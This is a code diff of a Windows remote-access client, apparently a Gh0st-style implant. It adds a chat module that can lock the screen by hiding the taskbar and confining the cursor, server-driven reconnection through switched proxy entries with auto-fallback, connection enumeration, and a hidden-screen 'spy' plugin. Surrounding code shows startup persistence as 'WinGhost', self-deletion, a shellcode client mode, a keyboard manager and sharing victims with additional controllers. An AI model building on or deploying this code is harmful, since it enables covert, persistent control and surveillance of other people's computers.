ShowWindow(hDlg, SW_HIDE);
return TRUE;
}
break;
case WM_CLOSE:
// X 关闭按钮:仅隐藏对话框(与「结束交谈」一致),关闭交谈始终由服务端发起
ShowWindow(hDlg, SW_HIDE);
return TRUE;
case WM_USER + 1:
pThis->m_hWnd = NULL;
DestroyWindow(hDlg);
return TRUE;
case WM_USER + 2:
ChatSetHook();
return TRUE;
case WM_DESTROY:
PostQuitMessage(0);
return TRUE;
default:
break;
}
return FALSE;
}
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
// 这里没有心跳包:心跳只走主连接([TOKEN_HEARTBEAT][Heartbeat],且由主连接分发消费),
// 服务端从不给交谈子连接发心跳。原先照搬其它 manager 的
// if (szBuffer[0] == TOKEN_HEARTBEAT) return;
// 会在任何长度判断之前丢掉首字节为 101('e') 的包——而本通道承载的是自由文本,
// 于是「echo」「error」这类以 e 开头的消息被静默吞掉。删掉即可,保留长度判断。
if (ulLength == 1) {
switch (szBuffer[0]) {
case COMMAND_NEXT_CHAT:
NotifyDialogIsOpen();
return;
case COMMAND_CHAT_CLOSE:
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
return;
case COMMAND_CHAT_SCREEN_LOCK:
NotifyDialogIsOpen();
if (m_hWnd && g_nLocked == 0) {
ShowWindow(m_hWnd, SW_RESTORE);
RECT rct = { 0 };
GetWindowRect(m_hWnd, &rct);
ClipCursor(&rct);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
PIDWNDINFO pwi = { 0 };
pwi.dwProcessId = 0;
pwi.hWnd = m_hWnd;
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
g_nLocked = 1;
}
return;
case COMMAND_CHAT_SCREEN_UNLOCK:
if (g_nLocked == 1) {
UnlockScreen();
}
return;
default:
break;
}
}
// 收到服务端发来的聊天文本:协议是 CP936 字节(NUL 结尾),转成 UTF-16 显示,
// 这样非中文系统(德语等)上也能正确显示中文。
const size_t cbText = ChatBoundedStrlen((const char*)szBuffer, (size_t)ulLength);
std::wstring text;
if (!Cp936ToWide((const char*)szBuffer, (int)cbText, text)) return;
if (m_hWnd) {
AppendChatLine(m_hWnd, ChatUi().peer, text.c_str());
ShowWindow(m_hWnd, SW_RESTORE);
}
}
#endif
+30
View File
@@ -0,0 +1,30 @@
// ChatManager.h: interface for the CChatManager class.
//
//////////////////////////////////////////////////////////////////////
#pragma once
#include "Manager.h"
#if ENABLE_MESSAGE==0
#define CChatManager CManager
#else
class CChatManager : public CManager
{
public:
HINSTANCE m_hInstance;
CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CChatManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
private:
BOOL m_bRun;
HANDLE m_hThread;
HWND m_hWnd;
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
};
#endif
+2
View File
@@ -11,4 +11,6 @@ public:
virtual bool Start() = 0;
virtual bool Stop() = 0;
virtual bool IsMainInstance() = 0;
// 分享实例(被别人挂在主控上)的连接入口由分享方控制,不跟随本机主控的协议切换。
virtual bool IsShared() { return false; }
};
+184 -19
View File
@@ -3,6 +3,7 @@
#include "stdafx.h"
#include "ClientDll.h"
#include "ActivityHistory.h"
#include <common/iniFile.h>
#include <common/LANChecker.h>
#include <common/VerifyV2.h>
@@ -65,13 +66,15 @@ BOOL IsClientAppRunning(void* thisApp)
return S_CLIENT_NORMAL == This->g_bExit;
}
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc)
{
auto v = StringToVector(remoteAddr, ':', 2);
if (v[0].empty() || v[1].empty())
return nullptr;
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
a->g_Connection->iHeaderEnc = headerEnc;
return a;
}
@@ -280,7 +283,7 @@ int main(int argc, const char *argv[])
int r = RegisterStartup(
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf);
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf, g_SETTINGS.installFlag);
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug) {
@@ -370,6 +373,11 @@ DWORD WINAPI AutoRun(LPVOID param)
{
do {
TestRun(NULL, 0);
// 旧工作线程还没退完时 TestRun 会立刻返回(此时连日志都不打,见其内部的
// SetServer 返回值判断),不睡就会满速空转、白占一个核且毫无提示。
// 只在真会空转的条件下睡,正常重启路径零延迟。
if (S_SERVER_EXIT == g_MyApp.g_bExit && g_MyApp.IsThreadRun())
Sleep(20);
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
@@ -412,8 +420,11 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection));
if (app.IsThreadRun()) {
settings.SetServer(szServerIP, uPort);
Mprintf("TestRun SetServer[%s:%d]\n", szServerIP ? szServerIP : "", uPort);
// 只在地址真的变了才记日志。主控端重启后,加载器和 AutoRun 会反复调用本函数
// 直到旧工作线程退完,每次都打一行会把客户端 1000 行环形日志冲光。
// SetServer 返回 false 表示地址没变,同时也涵盖 TestRun(NULL, 0)(空地址直接返回)。
if (settings.SetServer(szServerIP, uPort))
Mprintf("TestRun SetServer[%s:%d]\n", szServerIP ? szServerIP : "", uPort);
return;
}
app.SetThreadRun(TRUE);
@@ -442,6 +453,11 @@ extern "C" __declspec(dllexport) void StopRun()
// 是否成功停止
extern "C" __declspec(dllexport) bool IsStoped()
{
// 主控端重启(S_SERVER_EXIT):主实例工作线程已结束,即使分享实例仍在运行,
// 也视为「可重连」。旧 TestRun 加载循环靠它立即重连,无需卸载/重装 TestRun.exe;
// 分享实例继续存活,不受主控端重启影响。
if (S_SERVER_EXIT == g_MyApp.g_bExit)
return true;
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
}
@@ -459,14 +475,12 @@ extern "C" __declspec(dllexport) int EasyRun()
do {
TestRun((char*)settings.ServerIP(), settings.ServerPort());
if (S_SERVER_EXIT == app.g_bExit)
continue; // 主控端重启:立即重连,不等仍存活的分享实例
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净再退出
while (!IsStoped())
Sleep(50);
if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出
break;
else if (S_SERVER_EXIT == app.g_bExit)
continue;
else // S_CLIENT_UPDATE: 程序更新
break;
break;
} while (true);
return app.g_bExit;
@@ -552,14 +566,14 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
do {
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
if (bExit == S_SERVER_EXIT)
continue; // 主控端重启:立即重连,不等仍存活的分享实例
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净
while (!IsStoped())
Sleep(20);
if (bExit == S_CLIENT_EXIT)
return;
else if (bExit == S_SERVER_EXIT)
continue;
else // S_CLIENT_UPDATE
break;
break; // S_CLIENT_UPDATE
} while (true);
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
@@ -578,6 +592,132 @@ void ParseAuthServer(CONNECT_ADDRESS *conn) {
delete cfg;
}
// ---------------- 协议切换(COMMAND_SET_PROTO)的客户端落地 ----------------
//
// 服务端把目标入口写进本机配置(注册表 settings\proto_override 等),随后客户端断开,
// 重连循环在这里按新入口重连。覆盖点选在「外壳注入完连接配置之后、建连之前」,因此
// 在线升级换 DLL 也不会把协议按回 TCP——外壳注入的 protoType 每次都被这里覆盖。
//
// 注册表键(后缀均在 settings 下):
// proto_override 目标协议(PROTO_TCP/WS/WSS 的数字),空 = 未切换
// entry_host/port 新入口(反代域名:端口)
// entry_try_at 切换时刻(unix 秒)。登录成功后清零;超时仍未登录 → 自动回退
// base_host/port/proto 安装时的直连入口(首次切换时记录,「还原」用它)
// prev_host/port/proto 切换前的入口(每次切换时记录,自动回退用它)
namespace {
const int kProtoSwitchRevertSeconds = 300; // 新入口 5 分钟内登不上去 → 自动回退
bool IsSwitchableProto(int p)
{
return p == PROTO_TCP || p == PROTO_WS || p == PROTO_WSS;
}
// 本进程首次见到的入口(外壳注入的直连入口)。用于识别「客户端被换装/重新生成」:
// 注入入口变了,就清掉旧的切换状态,否则会一直连到上一份配置的反代入口。
std::string g_bootHost;
int g_bootPort = 0;
bool g_bootCaptured = false;
void ClearAllProtoSwitchKeys(iniFile& cfg)
{
const char* keys[] = { "proto_override", "entry_host", "entry_port", "entry_try_at",
"base_host", "base_port", "base_proto",
"prev_host", "prev_port", "prev_proto" };
for (auto k : keys)
cfg.SetStr("settings", k, "");
}
// 在每次建连前应用入口覆盖(就地改写 s,并落盘必要的状态)。没有返回值:它既会改 s 也会
// 改配置,用「是否用了覆盖入口」当返回值会与副作用矛盾——自动回退分支照样改写了 settings,
// 却没法用一个 bool 表达,调用方也确实不需要这个信息。
void ApplyProtoSwitch(iniFile& cfg, CONNECT_ADDRESS& s)
{
if (!g_bootCaptured) {
g_bootCaptured = true;
g_bootHost = s.ServerIP();
g_bootPort = s.ServerPort();
}
const std::string baseHost = cfg.GetStr("settings", "base_host");
if (!baseHost.empty() && baseHost != g_bootHost) {
// 客户端换装/重新生成:注入的入口变了,旧的反代入口不再成立
ClearAllProtoSwitchKeys(cfg);
Mprintf("[proto-switch] injected entry changed (%s -> %s), cleared stale switch state\n",
baseHost.c_str(), g_bootHost.c_str());
return;
}
const std::string proto = cfg.GetStr("settings", "proto_override");
if (proto.empty()) {
// 覆盖已撤销(服务端「还原」):回到安装时的直连入口
const std::string host = cfg.GetStr("settings", "base_host");
const int port = atoi(cfg.GetStr("settings", "base_port").c_str());
int baseProto = atoi(cfg.GetStr("settings", "base_proto").c_str());
if (!host.empty() && port > 0) {
if (!IsSwitchableProto(baseProto)) baseProto = PROTO_TCP;
s.SetServer(host.c_str(), port);
s.protoType = (char)baseProto;
Mprintf("[proto-switch] restored direct entry %s:%d proto=%d\n", host.c_str(), port, baseProto);
}
return;
}
const int p = atoi(proto.c_str());
if (!IsSwitchableProto(p)) {
ClearAllProtoSwitchKeys(cfg); // 坏值:撤销覆盖,按注入配置走
return;
}
// 自动回退:切换后一直没登录成功(entry_try_at 由服务端下发时写入,登录成功后清零)
const long long tryAt = atoll(cfg.GetStr("settings", "entry_try_at").c_str());
if (tryAt > 0 && (long long)time(0) - tryAt > kProtoSwitchRevertSeconds) {
const std::string prevHost = cfg.GetStr("settings", "prev_host");
const int prevPort = atoi(cfg.GetStr("settings", "prev_port").c_str());
int prevProto = atoi(cfg.GetStr("settings", "prev_proto").c_str());
if (!prevHost.empty() && prevPort > 0) {
// 把「覆盖」改写成切换前的入口,而不是清空它:清空会落到下面的「还原」分支,
// 下一轮重连又跳回安装时的直连入口——WS↔WSS 之间来回切时会白白多断一次。
if (!IsSwitchableProto(prevProto)) prevProto = PROTO_TCP;
s.SetServer(prevHost.c_str(), prevPort);
s.protoType = (char)prevProto;
cfg.SetStr("settings", "proto_override", std::to_string(prevProto));
cfg.SetStr("settings", "entry_host", prevHost);
cfg.SetStr("settings", "entry_port", std::to_string(prevPort));
Mprintf("[proto-switch] new entry unreachable for %llds, reverted to %s:%d proto=%d\n",
(long long)time(0) - tryAt, prevHost.c_str(), prevPort, prevProto);
} else {
// 没有前入口可回:撤销覆盖,按外壳注入的配置走
cfg.SetStr("settings", "proto_override", "");
cfg.SetStr("settings", "entry_host", "");
cfg.SetStr("settings", "entry_port", "");
Mprintf("[proto-switch] new entry unreachable and no previous entry, override dropped\n");
}
cfg.SetStr("settings", "entry_try_at", "0");
return;
}
const std::string host = cfg.GetStr("settings", "entry_host");
const int port = atoi(cfg.GetStr("settings", "entry_port").c_str());
if (!host.empty() && port > 0)
s.SetServer(host.c_str(), port);
s.protoType = (char)p;
}
// 新入口登录成功:撤销自动回退计时。入口覆盖本身保留——后续重连一直用它。
void ConfirmProtoSwitch(iniFile& cfg)
{
if (cfg.GetStr("settings", "proto_override").empty())
return;
if (cfg.GetStr("settings", "entry_try_at") == "0" ||
cfg.GetStr("settings", "entry_try_at").empty())
return;
cfg.SetStr("settings", "entry_try_at", "0");
Mprintf("[proto-switch] new entry reachable, auto-revert disarmed\n");
}
} // namespace
DWORD WINAPI StartClient(LPVOID lParam)
{
ClientApp& app(*(ClientApp*)lParam);
@@ -588,6 +728,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
std::string ip = settings.ServerIP();
int port = settings.ServerPort();
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
ActivityHistory::Instance().Start();
if (!app.m_bShared) {
auto now = time(0);
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
@@ -595,16 +736,26 @@ DWORD WINAPI StartClient(LPVOID lParam)
auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port");
settings.SetServer(saved_ip.c_str(), saved_port);
auto saved_proto = cfg.GetStr("settings", "master_proto");
if (saved_proto == "0" || saved_proto == "1")
settings.iHeaderEnc = atoi(saved_proto.c_str());
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
int(valid_to-now));
}
}
auto list = app.GetSharedMasterList();
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
for (int i=1; i<list.size(); ++i) {
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
// 并发上线的并行实例只派生一次:主控端重启重连时会再次进入 StartClient,
// 若不守护会重复派生并行连接。主实例的 SetServer(list[0]) 保持每次执行,
// 让主实例始终指向域名解析出的第一个 IP。
static bool parallelHasRun = false;
if (!parallelHasRun) {
parallelHasRun = true;
for (int i=1; i<list.size(); ++i) {
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, FALSE);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
}
}
// The main ClientApp.
settings.SetServer(list[0].c_str(), settings.ServerPort());
@@ -615,7 +766,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
auto a = cfg.GetStr("settings", "share_list");
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
for (int i = 0; i < shareList.size(); ++i) {
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE);
auto v = StringToVector(shareList[i], ':', 3);
int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
}
@@ -646,6 +799,10 @@ DWORD WINAPI StartClient(LPVOID lParam)
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
while (app.m_bIsRunning(&app)) {
ULONGLONG dwTickCount = GetTickCount64();
// 协议切换:按注册表里的入口覆盖建连(分享实例不受主控的切换影响,被分配/转移
// 过主控的入口优先)。
if (!assigned && !app.m_bShared)
ApplyProtoSwitch(cfg, settings);
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
@@ -670,6 +827,14 @@ DWORD WINAPI StartClient(LPVOID lParam)
do {
Manager->SendHeartbeat();
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
// 协议切换:新入口「登录被接受」后才撤销自动回退计时(ConfirmProtoSwitch 幂等)。
// IsConnected() 只代表 TCP/TLS/WS 握手完成;若新入口能建连但登录始终不被接受
// (选错后端、反代指到别的 WS 服务、服务端登录阶段丢弃),提前撤销会让 5 分钟
// 自动回退永久失效,客户端卡在错误入口反复重连。IsLoginAcked() 在收到
// CMD_MASTERSETTING 时置位——服务端只有在把本机加入在线列表后才发它。
// 不放在循环前一次判定:MasterSettings 可能比第一轮心跳晚到。
if (ClientObject->IsConnected() && ClientObject->IsLoginAcked())
ConfirmProtoSwitch(cfg);
if (assigned && time(0) > valid_to) {
app.SetProcessState(S_CLIENT_UPDATE);
settings.SetServer(ip.c_str(), port);
+5 -1
View File
@@ -61,6 +61,10 @@ public:
{
SAFE_DELETE(g_Connection);
}
bool IsShared() override
{
return m_bShared != FALSE;
}
ClientApp* SetID(unsigned id)
{
m_ID = id;
@@ -130,7 +134,7 @@ public:
}
};
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1);
// 启动核心线程,参数为:ClientApp
DWORD WINAPI StartClient(LPVOID lParam);
+28
View File
@@ -178,13 +178,22 @@
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="clang_rt_compat.c" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp">
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
</ClCompile>
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" />
@@ -214,6 +223,9 @@
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
@@ -225,15 +237,24 @@
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ConPTYManager.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
@@ -244,6 +265,7 @@
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
<ClInclude Include="TlsChannel.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />
@@ -266,6 +288,12 @@
<ClInclude Include="StdAfx.h" />
<ClInclude Include="SystemManager.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="ChatDialogTemplate.h" />
<ClInclude Include="TalkDialogTemplate.h" />
<ClInclude Include="ImageResource.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
+28
View File
@@ -41,10 +41,21 @@
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="session.cpp" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="file\FileManager.cpp" />
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\file_upload.h" />
@@ -59,6 +70,7 @@
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" />
@@ -97,6 +109,22 @@
<ClInclude Include="reg_startup.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="SessionMonitor.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="ChatDialogTemplate.h" />
<ClInclude Include="TalkDialogTemplate.h" />
<ClInclude Include="ImageResource.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="TlsChannel.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc" />
+36
View File
@@ -4,13 +4,19 @@
#include "Manager.h"
#include "ScreenManager.h"
#include "FileManager.h"
#include "file/FileManager.h"
#include "screenhide/ScreenHideManager.h"
#include "DrawingBoardMgr.h"
#include "TalkManager.h"
#include "ChatManager.h"
#include "MachineManager.h"
#include "ShellManager.h"
#include "SystemManager.h"
#include "ConPTYManager.h"
#include "AudioManager.h"
#include "RegisterManager.h"
#include "ServicesManager.h"
#include "ConnectionsManager.h"
#include "VideoManager.h"
#include "KeyboardManager.h"
#include "ProxyManager.h"
@@ -100,6 +106,31 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam)
return LoopManager<CTalkManager, 0>(lParam);
}
DWORD WINAPI LoopChatManager(LPVOID lParam)
{
return LoopManager<CChatManager, 0>(lParam);
}
DWORD WINAPI LoopMachineManager(LPVOID lParam)
{
return LoopManager<CMachineManager, 0>(lParam);
}
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
}
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
}
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
}
DWORD WINAPI LoopShellManager(LPVOID lParam)
{
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
@@ -139,6 +170,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
return LoopManager<CServicesManager, 0>(lParam);
}
DWORD WINAPI LoopConnectionManager(LPVOID lParam)
{
return LoopManager<CConnectionsManager, 0>(lParam);
}
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{
iniFile cfg(CLIENT_PATH);
+6
View File
@@ -28,12 +28,18 @@ DWORD WINAPI LoopShellManager(LPVOID lParam);
DWORD WINAPI LoopScreenManager(LPVOID lParam);
DWORD WINAPI LoopFileManager(LPVOID lParam);
DWORD WINAPI LoopTalkManager(LPVOID lParam);
DWORD WINAPI LoopChatManager(LPVOID lParam);
DWORD WINAPI LoopMachineManager(LPVOID lParam);
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
DWORD WINAPI LoopProcessManager(LPVOID lParam);
DWORD WINAPI LoopWindowManager(LPVOID lParam);
DWORD WINAPI LoopVideoManager(LPVOID lParam);
DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopConnectionManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam);
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
+240
View File
@@ -0,0 +1,240 @@
// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ConnectionsManager.h"
#include "Common.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iphlpapi.h>
#include <tcpmib.h>
#include <udpmib.h>
#include <vector>
#pragma comment(lib, "iphlpapi.lib")
#if ENABLE_CONNECTION_MNG
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
SendConnectionList();
}
CConnectionsManager::~CConnectionsManager()
{
}
// 把 PID 解析成进程映像名(UTF-8)。进程可能已退出/受保护,失败时填 <unknown>。
static void ResolveProcName(DWORD pid, char* out, int outLen)
{
if (outLen <= 0) return;
out[0] = 0;
if (pid == 0) {
strcpy_s(out, outLen, "System Idle Process");
return;
}
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (h == NULL) {
strcpy_s(out, outLen, "<unknown>");
return;
}
wchar_t wpath[MAX_PATH] = { 0 };
DWORD len = MAX_PATH;
BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
CloseHandle(h);
if (!ok) {
strcpy_s(out, outLen, "<unknown>");
return;
}
wchar_t* base = wcsrchr(wpath, L'\\');
base = base ? base + 1 : wpath;
if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
strcpy_s(out, outLen, "<unknown>");
return;
}
out[outLen - 1] = 0;
}
// IPv4 地址:iphlpapi 的 dwLocalAddr/dwRemoteAddr 是把网络序地址直接放在 DWORD 的**内存**里,
// 不是主机序数值(192.168.0.55 在 x86 上 DWORD 数值是 0x3700A8C0、内存字节是 C0 A8 00 37)。
// 所以只能按内存拷贝:这样得到的正是 inet_ntop 需要的网络序字节,也能原样拼回 SetTcpEntry 的 DWORD。
// 按数值移位会把字节序弄反(显示成 55.0.168.192)。
static void PutAddr4(uint8_t* out, DWORD addrNet)
{
memcpy(out, &addrNet, 4);
}
static DWORD GetAddr4(const uint8_t* addr)
{
DWORD addrNet = 0;
memcpy(&addrNet, addr, 4);
return addrNet;
}
static void AppendTcp4(std::vector<ConnectionInfo>& rows)
{
PMIB_TCPTABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 1;
info.af = AF_INET;
info.pid = r.dwOwningPid;
PutAddr4(info.localAddr, r.dwLocalAddr); // 网络序 DWORD → 网络序字节
info.localPort = ntohs((uint16_t)r.dwLocalPort); // 端口网络序 → 主机序
PutAddr4(info.remoteAddr, r.dwRemoteAddr);
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
info.state = r.dwState;
